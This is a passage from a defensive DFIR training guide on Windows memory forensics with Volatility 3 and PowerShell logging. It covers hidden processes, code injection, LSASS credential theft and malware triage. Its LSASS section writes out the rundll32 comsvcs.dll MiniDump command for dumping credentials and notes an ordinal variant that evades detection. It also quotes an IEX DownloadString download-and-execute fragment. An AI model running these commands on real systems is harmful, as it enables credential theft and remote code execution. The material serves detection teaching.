5.2.4 Supplementary sources worth knowing about

- **Hibernation file (`hiberfil.sys`)** — a compressed snapshot of memory at the moment the system last hibernated. Useful if a live capture wasn't possible and the system was hibernated at some point in the relevant window; requires decompression before analysis.
- **Page/swap file** — not a complete memory image, but can hold pages evicted from RAM that are no longer present in a live capture, making it a useful supplementary source rather than a primary one.

5.2.5 Format notes

Raw/DD format is the most broadly compatible with Volatility 3 and most other tooling; proprietary forensic formats (AFF4, EWF/E01) exist and carry useful embedded metadata but may need conversion depending on your toolchain.

> **Baseline habit**
>
> Before running anything else on a live, suspected-compromised host — acquire memory first, using the lightest-footprint method available for that host's actual platform (hypervisor snapshot where possible, a purpose-built live tool otherwise).

5.2.6 Referenced From

- Module 3: Windows Memory Forensics
- Memory-Based File Recovery

5.2.7 Sources

- SANS Digital Forensics Certifications overview (FOR508 — memory acquisition methodology)

August 3, 2026

Memory Forensics

5.3 Process Analysis: Finding What's Hidden

5.3.1 Two fundamentally different ways to enumerate processes

Volatility 3's process plugins split into two families that answer different questions, and the difference matters enormously for detecting hidden processes.

Plugin	Approach	What it catches	What it misses
`windows.pslist`	Walks the OS's own doubly-linked list of active processes (the same structure Task Manager reads)	Every legitimately-tracked running process	Anything deliberately unlinked from that list
`windows.pstree`	Same underlying data as `pslist`, presented as a parent-child hierarchy	The same processes as `pslist`, with baseline process tree context	The same blind spot as `pslist`
`windows.psscan`	Scans all of physical memory directly for process-object signatures, independent of any linked list	Hidden/unlinked processes, and recently-exited processes whose memory hasn't been overwritten yet	Nothing extra to miss — this is the wider net

`pslist` / `pstree` are only as reliable as the list they're reading — a well-known rootkit technique (DKOM, Direct Kernel Object Manipulation) deliberately unlinks a malicious process from that exact structure, making it invisible to Task Manager, Process Explorer, and `pslist` simultaneously, while the process keeps running normally underneath.

5.3.2 The core technique: diff the two views

```
vol -f memory.dmp windows.pslist -r csv > pslist.csv
vol -f memory.dmp windows.psscan -r csv > psscan.csv
```

Any PID present in `psscan` output but **absent from `pslist`** is either a process that's already exited (its memory hasn't been reclaimed yet — often benign) or a deliberately hidden process. Corroborate with other signals — active threads, open handles, or entries in `netscan` tied to that PID — to tell the two apart. This same "compare two views of the same data and investigate the gap" approach shows up throughout this guide — it's the same underlying logic as diffing Shimcache modified timestamps against actual file metadata.

A note on `psxview`

Volatility 2's dedicated `psxview` plugin, which automated exactly this cross-reference, is confirmed present in current Volatility 3 releases (`windows.psxview`) as of this writing — a convenient shortcut if your installed version has it. The manual `pslist` / `psscan` diff above achieves the same result and works regardless of version, which is why it's shown as the primary technique on this page.

Red flag

Any PID appearing in `psscan` but not `pslist`, especially one with active network connections or open handles to sensitive processes like `lsass.exe`.

5.3.3 Referenced From

- Memory Acquisition
- EPROCESS Internals

- Module 3: Windows Memory Forensics
- Malware Triage Methodology
- Mutex (Mutant) Analysis
- Network Artifacts in Memory
- Glossary

5.3.4 Sources

- SANS Digital Forensics Certifications overview (FOR508 — memory forensics with Volatility)
- Volatility 3 documentation (volatility3.readthedocs.io)

August 3, 2026

Memory Forensics **T1055.012**

5.4 EPROCESS Internals

5.4.1 What it is, and why this page exists separately from Process Analysis

Process Analysis already covers *finding* processes — `pslist`, `psscan`, and the diff between them. This page is about what's actually *inside* the kernel structure those plugins are reading, because several of the most useful forensic facts about a process live in EPROCESS fields that a basic process listing doesn't surface by default, and knowing they're there changes what you think to ask for.

`EPROCESS` is the kernel's own data structure representing a running process — one exists for every process, allocated from kernel pool memory, and it's what `pslist` walks (via a linked list) and `psscan` finds (via pool-tag scanning) in the first place.

5.4.2 The fields that matter forensically

Field (conceptually)	What it tells you	Why it matters for DFIR
PID / PPID	Process ID and parent's Process ID	The raw data behind Baseline Process Trees — a `PPID` that doesn't match the expected parent is often the single fastest anomaly check in the whole investigation
ImageFileName	The process's own name, as it knows itself	Compare against what a filesystem-based tool reports for the same PID — a mismatch is a `PPID`-spoofing or process-hollowing tell
CreateTime / ExitTime	When the process started and (if applicable) ended	A process still showing in `psscan` with a populated `ExitTime` has already exited — its EPROCESS structure just hasn't been reclaimed yet. Confusing this for a still-running process is a common analysis error
Token	The process's security context — SIDs, privileges, integrity level	A standard user's process holding `SeDebugPrivilege` or a `SYSTEM`-equivalent token is a privilege-escalation signal, independent of anything else about the process
VadRoot	Pointer to the process's Virtual Address Descriptor tree	This is the structure `vadinfo` / `malfind` actually read — the memory-region permissions and file-backing data that reveal injected code
ThreadListHead	Pointer to the process's own list of threads	What Thread Analysis walks — a process with an unexpectedly high thread count, or one whose threads don't map to loaded code, is worth a second look
Handle table	Every handle the process holds open — files, registry keys, mutexes, other processes	See Mutex/Mutant Analysis; also how a process's access to `lsass.exe` shows up structurally, not just as a log line

5.4.3 How you actually use this in an investigation

You rarely query EPROCESS fields directly by name — `pslist` / `pstree` / `psscan` already surface PID/PPID/CreateTime/ExitTime in their default output, which is why Process Analysis doesn't need to mention EPROCESS internals to be useful for baseline triage. This page matters at the next step: once a process is already flagged as suspicious, the **Token**, **VadRoot**, and **ThreadListHead** fields are where you go to answer *why* it's suspicious with structural evidence, not just a name that looks wrong.

Concretely: `windows.privileges` (`Privs`) reads the Token field directly, surfacing enabled privileges per process — run it against anything flagged by Process Tree Triage-style anomalies to check whether it's also running with unexpected privilege, which is a second, independent finding rather than a restatement of the first.

5.4.4 Turning this into report language

A process-tree anomaly alone ("PID 3120 claims to be `lsass.exe`") is a weak sentence in a report — it states an observation without justifying it. Pulling the EPROCESS-level detail turns it into a defensible technical finding: "*PID 3120 presented as `lsass.exe` but its EPROCESS Token held Administrator-equivalent privileges inconsistent with the legitimate `lsass.exe` at PID 640, and its VadRoot showed a memory region with RWX permissions unbacked by any file on disk — consistent with process hollowing (T1055.012).*" That sentence cites three independent structural facts, not just a name mismatch, which is the difference between an assertion and a technical finding a reader can verify. See Reporting & Communication for how this specific kind of sentence fits into a full report.

5.4.5 Referenced From

- ATT&CK Coverage Map
- Module 3: Windows Memory Forensics
- Malware Triage Methodology
- Mutex (Mutant) Analysis
- Glossary

5.4.6 Sources

- SANS Digital Forensics Certifications overview (FOR508 — Windows kernel structures in memory forensics)
- Volatility 3 documentation (volatility3.readthedocs.io) — `windows.privileges`, `windows.getsids`

August 3, 2026

Memory Forensics **T1055**

5.5 Finding Injected Code: malfind, ldrmodules, vadinfo

Three plugins that work together as a workflow — broad flag, specific cross-reference, detailed inspection — rather than three independent tools.

5.5.1 `malfind`: the broad flag

Scans process memory for regions with characteristics inconsistent with normal, legitimately-loaded code — most notably memory marked with **RWX (Read-Write-Execute)** permissions simultaneously that isn't backed by any file on disk. Legitimately loaded DLLs and executables are typically mapped with permissions matching their actual sections (code as read-execute, data as read-write) and are backed by the file they came from; injected shellcode or a manually-mapped PE frequently isn't backed by anything on disk at all, and often needs write access to memory it's also executing from.

`malfind` also flags regions containing a valid PE header (`MZ` signature) sitting somewhere other than a normal module base address — a strong indicator of a manually-mapped executable image.

5.5.2 `ldrmodules`: cross-referencing what a process claims to have loaded

Every process's Process Environment Block (PEB) maintains three separate linked lists of loaded modules (in load order, in memory order, and in initialization order). `ldrmodules` cross-references those three lists against what's *actually* mapped in the process's memory (its VAD — Virtual Address Descriptor — tree).

A module present in the VAD tree but missing from all three PEB lists is hidden — and this is precisely the signature of reflective DLL injection, which manually maps a DLL into memory without ever calling the normal `LoadLibrary` API, so it never gets registered anywhere the PEB would normally track it.

5.5.3 `vadinfo`: drilling into a specific region

Once `malfind` or `ldrmodules` has flagged something, `vadinfo` gives you the full detail on that specific memory region — exact permissions, size, and any file backing — for manual inspection or extraction.

5.5.4 The workflow

1. Run `malfind` across all processes to get a broad list of suspicious memory regions.
2. For each flagged process, run `ldrmodules` to check whether any loaded module is missing from the PEB's own lists.
3. Use `vadinfo` on specific regions of interest for full detail before extracting or hashing the region for further analysis.

> **Red flag**
>
> An RWX memory region with no file backing and a valid PE header (`malfind`), or any module present in a process's VAD tree but absent from all three PEB module lists (`ldrmodules`).

5.5.5 ATT&CK mapping

T1055 (Process Injection) broadly; see Injection Techniques for how specific sub-techniques map to what you'll actually see with these plugins.

5.5.6 Referenced From

- EPROCESS Internals
- Module 3: Windows Memory Forensics

- Injection Techniques: What Each Looks Like in Memory
- LSASS Memory Analysis & Credential Theft
- Malware Triage Methodology
- Thread Analysis
- Memory-Based File Recovery
- Glossary
- Drill: Process Tree Triage

5.5.7 Sources

- SANS Digital Forensics Certifications overview (FOR508 — memory forensics, code injection detection)
- Volatility 3 documentation (volatility3.readthedocs.io)

August 3, 2026

Memory Forensics **T1055** **T1055.001** **T1055.012** **T1055.013**

5.6 Injection Techniques: What Each Looks Like in Memory

Three distinct techniques for running malicious code under the identity of a legitimate process, each leaving a different signature for `malfind` / `ldrmodules` / `vadinfo` to find.

5.6.1 Process Hollowing

Start a legitimate executable in a **suspended** state, unmap its original image from memory, and replace it with malicious code before resuming execution. The result runs with the legitimate process's name, PID, and — critically — its expected parent process, which is exactly what makes hollowing effective at defeating parent-child-based detection: on paper, everything about the process looks right.

What gives it away: the in-memory image doesn't match the on-disk binary for that executable. Compare a hash of what's actually mapped at the process's base address (via `vadinfo`) against a hash of the legitimate file at the path the process claims to be running from — a mismatch is the signature. Some Volatility community plugins (`hollowfind` and similar) automate this comparison.

5.6.2 Process Doppelgänging

A more evasive variant that exploits NTFS transactions: malicious code is written to a file *within* an NTFS transaction, a process is created from that file while the transaction is still pending, and then the transaction is rolled back — reverting the file as though the write never happened, while the already-created process keeps running with the malicious image loaded.

Why this is harder to catch than hollowing: there's no completed on-disk artifact to compare against at all — the file the process was created from genuinely doesn't exist in a finished state on disk, not just a mismatched one. Memory analysis is the primary avenue here, specifically because disk-based comparison has nothing to compare against.

5.6.3 Reflective DLL Injection

A DLL is mapped into a target process's memory manually — resolving imports, fixing relocations, mapping sections — without ever calling the normal `LoadLibrary` API. Since the loader API was never invoked, the DLL never registers itself in the process's PEB module lists.

This is exactly the `ldrmodules` signature: a module present in the VAD tree with no corresponding entry in any of the three PEB lists.

5.6.4 Summary table

Technique	Process identity	On-disk artifact	Primary detection
Process Hollowing	Legitimate name/PID/parent	Exists, but doesn't match memory	Hash mismatch between disk and memory image
Process Doppelgänging	Legitimate name/PID/parent	Never completes — no finished file to compare	Memory analysis only; no disk-side comparison possible
Reflective DLL Injection	Host process is otherwise legitimate	The DLL itself may never touch disk	`ldrmodules` — module in VAD, absent from PEB lists

5.6.5 ATT&CK mapping

T1055.012 (Process Hollowing) / T1055.013 (Process Doppelgänging) / T1055.001 (Dynamic-link Library Injection).

5.6.6 Referenced From

- ATT&CK Coverage Map
- Module 3: Windows Memory Forensics
- Finding Injected Code: malfind, ldrmodules, vadinfo
- Thread Analysis
- Drill: Process Tree Triage

5.6.7 Sources

- SANS Digital Forensics Certifications overview (FOR508 / FOR610 — process injection analysis)
- MITRE ATT&CK — T1055.012 / T1055.013 / T1055.001

August 3, 2026

Memory Forensics **T1055**

5.7 Thread Analysis

5.7.1 What it is, and why it matters for DFIR specifically

A process can look completely legitimate at the EPROCESS level — right name, right parent, right token — and still be compromised, because the actual malicious code is running in a **thread** that was injected into it after the fact. This is precisely how reflective DLL injection and several other techniques hide: the *process* is real and trusted; the *thread* running inside it isn't. Process-level analysis alone cannot catch this — you have to look at the threads themselves.

5.7.2 The field that does almost all the work: thread start address

Every thread has a start address — the memory location its execution began at. For a legitimate thread, that address resolves cleanly to a location inside a loaded module (a DLL or the executable itself) — Volatility's `windows.threads` plugin surfaces this directly, reporting both a `start_addr` (the raw address) and a `start_path` (the module it resolves to, if any).

A thread whose `start_path` is blank — an address that doesn't correspond to any loaded module — is one of the highest-confidence injection indicators available in memory forensics. Legitimate code doesn't start executing from an anonymous, unbacked memory region; injected shellcode does, almost by definition.

5.7.3 The plugin set

Plugin	What it finds	When to reach for it
`windows.threads`	Full thread listing per process, including `start_addr` / `start_path` and create/exit times	Your default starting point once a process is already flagged as suspicious
`windows.thrdscan`	Pool-scans for thread objects directly, independent of any list	The thread-level equivalent of `psscan` — catches threads a rootkit tried to unlink
`windows.suspicious_threads`	A purpose-built plugin specifically flagging threads with anomalous characteristics	Run this early — it does a first pass of exactly the triage this page describes, automatically
`windows.suspended_threads`	Enumerates threads currently in a suspended state	Directly relevant to process hollowing, which classically starts a process suspended before replacing its image — a suspended thread sitting around longer than expected is worth explaining

5.7.4 How you actually use this in an investigation

The workflow is almost always: `malfind` or a process-tree anomaly flags a process → `windows.threads` (or `windows.suspicious_threads` directly) enumerates its threads → any thread with an unresolved `start_path` becomes the specific object you extract and analyze further, rather than treating the whole process as one undifferentiated blob of suspicion.

This also matters for **scoping**: a process with fifteen threads where fourteen resolve cleanly to `kernel32.dll` / `ntdll.dll` and one doesn't isn't "a suspicious process" in a vague sense — it's a process where thirteen threads need no further attention and exactly one does. That distinction saves real time on a host with dozens of flagged processes.

5.7.5 Turning this into report language

"The process exhibited suspicious behavior" is not a technical finding — it's an unverifiable assertion. "Of `explorer.exe`'s (PID 4412) fourteen threads, thirteen resolved to legitimate Explorer/Shell32 code; the fourteenth, created at 14:03:22, had a start address with no corresponding loaded module, consistent with injected shellcode execution" is a finding a technical reviewer can

independently check against the same memory image, and a specific, defensible claim rather than a characterization. See Reporting & Communication for how findings at this level of specificity fit into both the technical and executive sections of an incident report.

5.7.6 ATT&CK mapping

Supports detection of the same techniques as Injected Code Detection and Injection Techniques — T1055 and its sub-techniques — from the thread level specifically rather than the process-memory level.

5.7.7 Referenced From

- EPROCESS Internals
- Module 3: Windows Memory Forensics
- Malware Triage Methodology
- Mutex (Mutant) Analysis
- Memory-Based File Recovery
- Glossary

5.7.8 Sources

- Volatility 3 documentation (volatility3.readthedocs.io) — `windows.threads`, `windows.suspicious_threads`, `windows.thrdscan`, `windows.suspended_threads`
- SANS Digital Forensics Certifications overview (FOR508 — thread-level injection analysis)

August 3, 2026

Memory Forensics **T1057**

5.8 Mutex (Mutant) Analysis

5.8.1 What it is, and why malware authors create them

A mutex (Windows kernel object type `Mutant`) exists to prevent race conditions — normally, one piece of software using it to make sure two threads don't touch the same resource at once. Malware authors use the exact same mechanism for a different reason: **to make sure their own malware doesn't run twice on the same host.** On startup, malware commonly checks for a specific, hardcoded mutex name; if it already exists, a prior copy is already running, and the new instance exits without doing anything (avoiding the resource contention and increased visibility of multiple copies fighting over the same host).

That hardcoded name is the forensic payoff. Unlike a file hash, which changes with every recompile, a malware family's mutex name is often part of its actual source code and stays consistent across samples and campaigns — making it a more durable fingerprint than the binary itself.

5.8.2 Where the evidence lives, and how to pull it

Named mutexes a process holds show up in its open handle table (the same EPROCESS-level structure referenced in EPROCESS Internals).

- **`windows.mutantscan`** — scans memory directly for mutex/`Mutant` objects, independent of any process's handle list — the mutex-object equivalent of `psscan`, and the better starting point when you don't yet know which process to look at.
- **`windows.handles`**, filtered to handle type `Mutant` and a specific PID — once you already have a process of interest (from Process Analysis or Thread Analysis), this shows exactly which named mutexes that process is holding.

5.8.3 How you actually use this in an investigation

Two distinct uses, and they answer different questions:

- **Fingerprinting.** A mutex name that's distinctive, non-default, and not something Windows itself or known-legitimate software creates is worth searching against threat intelligence sources — a matching, previously-reported name can identify a malware family directly, which is a much faster path to understanding scope and behavior than reverse-engineering a sample from scratch.
- **Cross-host hunting.** Once you have a suspected malicious mutex name from one host, it becomes a searchable indicator across the rest of the environment — pull `windows.mutantscan` output from every host's memory capture (or deploy an EDR custom-detection rule keyed on the same name) to find every other machine the same infection touched, which is often faster and more reliable than searching for the file itself, since the file may have been renamed or deleted while the mutex-creation behavior stays constant.

5.8.4 What normal looks like, so you don't chase your own tail

Plenty of legitimate software creates named mutexes for entirely mundane reasons — single-instance application locks (many consumer apps use a mutex specifically to prevent a user from accidentally launching themselves twice) are extremely common and not inherently suspicious. The distinguishing question isn't "does this process hold a mutex" — almost everything does — it's whether the *name* is generic-and-explainable (often containing the vendor or product name plainly) versus deliberately obfuscated, random-looking, or already associated with known malicious activity elsewhere.

> **Red flag**
>
> A mutex name held by a process already flagged by other means (an injected thread, a process-tree anomaly) — especially one that's randomized-looking or that a threat-intel search returns hits for.

5.8.5 Turning this into report language

A mutex name is one of the more report-friendly findings in memory forensics precisely because it doubles as an attribution data point: "*The compromised host's memory image contained a `Mutant` object named `Global\\{8F3A2C10-...}` held by the process at PID 4412; this mutex name is not associated with any known legitimate software installed on this host and is consistent with malware using it as a single-instance marker. The same mutex name was subsequently found on two additional hosts during the environment-wide sweep, establishing common-cause infection across all three.*" That's a finding that directly supports a scope statement in an executive summary — see Reporting & Communication — without needing the reader to understand anything about memory forensics to grasp its significance: *the same infection was found on three machines, not one.*

5.8.6 ATT&CK mapping

Most directly a data source supporting T1057 (Process Discovery) and general malware-family attribution rather than mapping to a single technique itself — it's an artifact of *how* malware avoids re-infection, not a technique in its own right.

5.8.7 Referenced From

- ATT&CK Coverage Map
- EPROCESS Internals
- Module 3: Windows Memory Forensics
- Malware Triage Methodology

5.8.8 Sources

- Volatility 3 documentation (volatility3.readthedocs.io) — `windows.mutantscan`, `windows.handles`
- SANS Digital Forensics Certifications overview (FOR508/FOR610 — malware artifact analysis in memory)

August 3, 2026

Memory Forensics **T1003** **T1003.001**

5.9 LSASS Memory Analysis & Credential Theft

`lsass.exe` holds authentication material for every account that's touched the host — NTLM hashes, and depending on configuration, cached plaintext credentials and Kerberos tickets. It's the single highest-value credential-theft target on any Windows system, which is exactly why Module 1's process-tree baseline treats any deviation in its parentage as a top-priority signal, and why this page exists as its own module.

5.9.1 Two paths attackers use, live vs. offline

Live memory read. A tool opens a handle to `lsass.exe` with read access sufficient to walk its memory directly and extract credential material without ever writing a dump file — this is what Sysmon Event ID 10 (`ProcessAccess`) is specifically designed to catch, particularly `GrantedAccess` values consistent with memory-read rights from a process with no legitimate reason to touch `lsass.exe` at all.

Offline dump-and-crack. Rather than reading live, an attacker dumps `lsass.exe`'s memory to a file and parses it somewhere else entirely — evading any monitoring on the live host the moment the dump leaves it. The best-known living-off-the-land method for this:

```
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_PID> C:\path\output.dmp full
```

This calls `comsvcs.dll`'s `MiniDump` export — a legitimate Windows DLL never intended for this purpose, but fully capable of it — to write a complete process dump using nothing but a built-in Windows binary. Requires `SeDebugPrivilege`. Variants of this technique reference the export by its ordinal number (`#24`) instead of by name specifically to dodge simple string-matching detections looking for the literal word "MiniDump."

5.9.2 Where the evidence lives

- **Sysmon Event ID 10**, filtered to `TargetImage` = `lsass.exe`, looking for `GrantedAccess` values inconsistent with normal system activity
- **Command-line logging** (Security 4688 / Sysmon 1) for `rundll32.exe` invocations referencing `comsvcs.dll` alongside `MiniDump` or its ordinal equivalent, `full`, and an output path
- In a memory capture: the `handles` plugin to identify what process holds a handle to `lsass.exe` and with what access rights; `malfind` / `vadinfo` against `lsass.exe` itself if code was injected *into* it rather than just read from it

> **Red flag**
>
> Any non-system process opening `lsass.exe` with memory-read access, or a `rundll32.exe` command line referencing `comsvcs.dll` together with a dump-related export and output path.

5.9.3 Worth knowing about built-in mitigations

Modern Windows (particularly newer enterprise-joined 11 builds) increasingly ships with **LSASS Protected Process Light (PPL)** and **Credential Guard** enabled by default, both of which meaningfully raise the bar against direct memory-read techniques — confirm these are actually enabled in your environment rather than assumed, since older builds and certain configurations don't have them on by default.

5.9.4 ATT&CK mapping

T1003.001 (OS Credential Dumping: LSASS Memory).

5.9.5 Referenced From

- ATT&CK Coverage Map
- Operationalizing Threat Intelligence
- Module 3: Windows Memory Forensics
- Malware Triage Methodology
- Advanced Hunting with KQL
- Case Study: Domain Compromise, End to End
- Glossary

5.9.6 Sources

- LOLBAS Project — `comsvcs.dll`
- SANS Digital Forensics Certifications overview (FOR508 — credential theft detection)
- MITRE ATT&CK — T1003.001

August 3, 2026

Memory Forensics

5.10 Network Artifacts in Memory

5.10.1 What it captures that a live `netstat` can't

Volatility's network-scanning plugin (`windows.netstat` in Volatility 3 — commonly still referred to by its Volatility 2 name, `netscan`, in training material and checklists) scans memory for network-connection tracking structures directly, rather than querying the live OS for currently-open connections. This means it can recover **connections that have already closed** by the time of acquisition, as long as the underlying structures haven't been overwritten yet — valuable precisely because a live `netstat` on the host, run after the fact, would show nothing for a connection that already tore down.

5.10.2 Detection approach

Pull the connection list and correlate every entry against its owning PID — then cross-reference that PID against `pslist` / `psscan` findings and any available command-line data. The two questions that matter most:

- **Does this process have any legitimate reason to be making this connection?** A connection owned by a process with no business-network function reaching an unfamiliar external address is the core signal.
- **Is the owning PID even present in `pslist`?** A network connection tied to a PID that only shows up in `psscan` — i.e., a hidden process — is a particularly high-confidence finding, since it means whatever's making that connection went out of its way to not be visible through normal means.

This connects directly to Module 4's download-and-execute patterns — a fileless `IEX (New-Object Net.WebClient).DownloadString(...)` chain produces exactly the kind of connection this plugin is built to catch, especially if the process has already exited by the time you're looking and a live `netstat` would show nothing at all.

> **Red flag**
>
> A network connection owned by a process with no legitimate reason to be making outbound connections, or one owned by a PID that doesn't appear in `pslist` at all.

5.10.3 Referenced From

- ATT&CK Coverage Map
- Module 3: Windows Memory Forensics
- Malware Triage Methodology
- Process Analysis: Finding What's Hidden

5.10.4 Sources

- SANS Digital Forensics Certifications overview (FOR508 / FOR572 — network artifact correlation)
- Volatility 3 documentation (volatility3.readthedocs.io)

August 3, 2026

Memory Forensics

5.11 Malware Triage Methodology

5.11.1 What this page is for

Every other page in this module covers one technique — find hidden processes, find injected code, find a suspicious thread. This page is the workflow that ties them together: given a suspicious file or a live, suspicious process, what's the actual order of operations to go from "this looks off" to "here's what it does and how bad this is," in a way that produces a defensible answer rather than a pile of disconnected observations.

The goal of triage specifically isn't full reverse engineering — it's answering three questions fast enough to drive containment decisions: **is this malicious, what is it capable of, and how far has it spread.**

5.11.2 Phase 1: static triage (before you touch memory)

- **Hash it first, always** — SHA-256 of the sample, before any other action. This is your stable identifier for the rest of the investigation and for any threat-intel lookup, and it costs seconds.
- **PE header inspection.** The import table is a capability signal, not just metadata — a binary importing `CreateRemoteThread` / `WriteProcessMemory` / `VirtualAllocEx` together has process-injection capability regardless of what it's actually doing right now; one importing `WinHttpOpen` / `InternetConnect` has network C2 capability; one importing `CryptEncrypt`-family functions alongside broad filesystem access warrants immediate ransomware suspicion. You're reading capability, not behavior, at this stage.
- **Entropy as a packing signal.** A binary with unusually high entropy in its code sections (approaching the entropy of compressed or encrypted data) is very likely packed or obfuscated — this doesn't tell you what it does, but it tells you static analysis alone won't get you much further, and memory-based analysis of the *running* (unpacked) process becomes the higher-value next step.
- **Strings, with a caveat.** Worth a quick pass for obvious indicators (URLs, IP addresses, file paths, ransom-note text) — but a packed or obfuscated sample will show you almost nothing useful here until it's actually executing and has unpacked itself in memory.

5.11.3 Phase 2: memory-based triage (once it's running, or from a captured image)

This is where the rest of Module 3 comes together as a sequence rather than a set of independent tools:

1. **Locate the process.** Process Analysis — `pslist` vs. `psscan`, checking for anything hidden.
2. **Check its identity against its context.** EPROCESS Internals — does the `PPID` match the expected baseline? Does the `Token` show privilege inconsistent with what this process should hold?
3. **Check what's actually mapped in its memory.** Injected Code Detection — `malfind` / `ldrmodules` / `vadinfo`. Is there RWX, unbacked memory? A module present in the VAD tree but missing from the PEB's own lists?
4. **Check its threads specifically.** Thread Analysis — does every thread's start address resolve to a loaded module, or is there one that doesn't?
5. **Check for a single-instance marker.** Mutex Analysis — a distinctive mutex name is both a fingerprinting opportunity and, if it matches known threat intelligence, potentially your fastest path to an answer.
6. **Check what it's talking to.** Network Artifacts in Memory — `netstat` / `netscan`, cross-referenced against the process that owns each connection.

Each step either **closes off** a line of inquiry (thread start addresses all resolve cleanly — injection is not how this is hiding) or **hands you a concrete artifact** to carry into the next step (an unresolved thread start address, extracted and hashed, becomes a new indicator to search across the rest of the environment).

5.11.4 Turning capability into an impact statement

The single most common gap between a technically-thorough triage and a useful one: stopping at "here's what we found" without translating it into "here's what this means it could do to the organization." A capability inventory built from the steps above maps directly onto impact:

What you found	What it means
Injection capability + LSASS access pattern	Credential theft — assume any account that authenticated on this host is potentially compromised
Network C2 imports + active connection in `netscan`	Active remote control — the attacker may still have hands-on access right now, not just a dormant infection
Broad file-write access + encryption-library imports	Ransomware capability — treat as a Ransomware playbook scenario immediately, don't wait for encryption to actually start to escalate
A persistence mechanism already in place	This isn't a single-touch infection — assume the attacker planned for you to find and remove the process, and check that the persistence path is closed too

This table is the bridge between the technical work in this module and the next skill: writing it up in a way that's both technically defensible and understandable to someone who isn't going to read a VAD dump. See Reporting & Communication.

5.11.5 Referenced From

- Module 3: Windows Memory Forensics
- Memory-Based File Recovery
- Windows IR Quick Reference

5.11.6 Sources

- SANS Digital Forensics Certifications overview (FOR508 / FOR610 — malware triage and memory-based analysis methodology)
- MITRE ATT&CK — used throughout this guide as the capability-tagging system; see the ATT&CK Primer

August 3, 2026

6. PowerShell Forensics

PowerShell

6.1 Module 4: PowerShell Forensics

PowerShell is the single highest-leverage execution surface on modern Windows: it's trusted, pre-installed, deeply capable, and — critically — able to run entirely in memory. A script that never touches disk never generates a Prefetch entry, never gets an AV file-scan hit, and leaves no artifact for Module 1's filesystem techniques to find. This module is about the logging and analysis techniques that work anyway.

6.1.1 Module status: complete

- [x] PowerShell Logging — the four logging mechanisms, why Script Block Logging (4104) matters most, what normal volume looks like
- [x] Obfuscation & Decoding — the hands-on walkthrough, with verified worked examples: `-EncodedCommand`, compression, character codes, string reassembly, backticks
- [x] Evasion Detection — AMSI, version-downgrade attacks, Constrained Language Mode escape, all at the detection level
- [x] Malicious Cmdlet Patterns — the reference list of what to alert on, and why context matters more than any single pattern

> **How this module is scoped**
>
> Everything here is written for the defender reading logs and memory captures after the fact, or building detections ahead of time — not for writing evasive PowerShell. Where offensive technique *categories* are named (AMSI bypass, downgrade attacks), the content stops at "here's the detection signature," consistent with every other module in this guide.

6.1.2 Referenced From

- ATT&CK Coverage Map
- Order of Volatility
- Module 3: Windows Memory Forensics
- Network Artifacts in Memory
- Enterprise DFIR Field Guide

August 3, 2026

PowerShell

6.2 PowerShell Forensics: Logging

PowerShell is capable enough to do almost anything on modern Windows — and, critically, capable of doing it **entirely in memory**. A script that never writes itself to disk never generates a Prefetch entry, never gets an AV file-scan hit, and leaves nothing for filesystem-based artifacts to find. Logging is how you get visibility anyway. None of the four mechanisms below are mutually exclusive — a well-instrumented environment runs several at once.

6.2.1 The four mechanisms

Mechanism	What it captures	Event ID(s)	Enable via
Module Logging	Pipeline execution details for specified modules — the cmdlets and parameters used	4103	GPO: *Turn on Module Logging*
Script Block Logging	The actual code executed — including code that was itself generated by deobfuscating something else at runtime	4104	GPO: *Turn on PowerShell Script Block Logging*
Transcription	A full text transcript of an entire session, input and output	Written to file, not the event log	GPO: *Turn on PowerShell Transcription*
Legacy Engine/ Pipeline events	Engine start/stop and basic pipeline execution — coarse, but present on older systems without the above configured	400 / 403 (engine), 800 (pipeline)	On by default on older PowerShell versions

6.2.2 Script Block Logging is the one that matters most

Event ID 4104 is the single highest-value PowerShell log source in this guide, for one specific reason: it logs the code **after** PowerShell's own engine has resolved it — meaning a script that used obfuscation to hide its intent from a human reader or a signature-based scanner still shows up in 4104 as the de-obfuscated, actually-executing code, because that's what the engine is actually running by the time this event fires. This is why 4104 routinely defeats obfuscation techniques that would otherwise defeat a simpler log source.

A 4104 event is split across multiple log entries if the script block is long, with `ScriptBlockId` tying the pieces back together and a message field noting `(n of m)` — don't mistake a single large script for multiple unrelated small ones when reviewing a log export.

A detail worth knowing even on hosts where full logging isn't configured: since PowerShell 5.0, the engine automatically promotes a 4104 event to **Warning level** whenever a script block's content matches an internal list of suspicious patterns (encoded commands, known reflection/AMSI-tampering strings, and similar), even when Script Block Logging hasn't been explicitly enabled. Filtering a log export on `LevelDisplayName = Warning` is a cheap, high-signal starting point precisely because PowerShell itself already did some of the triage — though note this auto-logging can itself be suppressed if Script Block Logging is explicitly *disabled* via policy, so its absence isn't automatically reassuring.

The legacy **Event ID 400** (engine start) is worth a specific mention here too: its `HostApplication` field frequently contains the full command line PowerShell was actually launched with — which makes it genuinely useful even on a host where none of the modern logging GPOs were ever configured.

6.2.3 What normal looks like

Most 4103/4104 volume in a well-managed environment comes from legitimate administrative scripting, scheduled maintenance tasks, management tooling (Configuration Manager, monitoring agents), and — increasingly — PowerShell modules bundled with ordinary software. Baseline what's normal for a given host role before treating volume alone as suspicious; a server running

frequent legitimate automation will generate far more 4104 events than a standard workstation, and that's expected, not alarming on its own.

Baseline

4104 events matching known administrative scripts, scheduled automation, or recognized management tooling, consistent with the host's role.

Red flag

A 4104 event whose script block, once read, matches any of the malicious cmdlet patterns in this guide — regardless of how the command line that triggered it was originally obfuscated.

6.2.4 Referenced From

- Module 4: PowerShell Forensics
- PowerShell Forensics: Obfuscation & Decoding

6.2.5 Sources

- SANS Digital Forensics Certifications overview (FOR508 — PowerShell logging and analysis)
- Microsoft Learn — `about_Logging_Windows`

August 3, 2026

PowerShell

6.3 PowerShell Forensics: Obfuscation & Decoding

This page is the hands-on companion to PowerShell Logging: once you have a captured command line or a decoded Script Block Logging (4104) event, this is how you turn what looks like noise into something you can actually read and assess. Every example below was generated and round-trip verified — nothing here is approximated.

6.3.1 Step 1: Recognize `-EncodedCommand`

PowerShell accepts `-EncodedCommand` (and any unambiguous abbreviation — `-e`, `-en`, `-enc` all work identically) followed by a long Base64-looking string. This is the single most common obfuscation layer you'll encounter, precisely because it's a built-in, fully legitimate PowerShell feature that any script can invoke.

The gotcha that trips up most people the first time: the string isn't Base64 of plain ASCII text — it's Base64 of the command encoded as **UTF-16LE** (Unicode), which is how PowerShell represents strings internally. Base64-decode it as if it were plain UTF-8 and you'll get garbage interspersed with null bytes. Decode it as UTF-16LE and it's immediately readable.

Worked example

Original command:

```
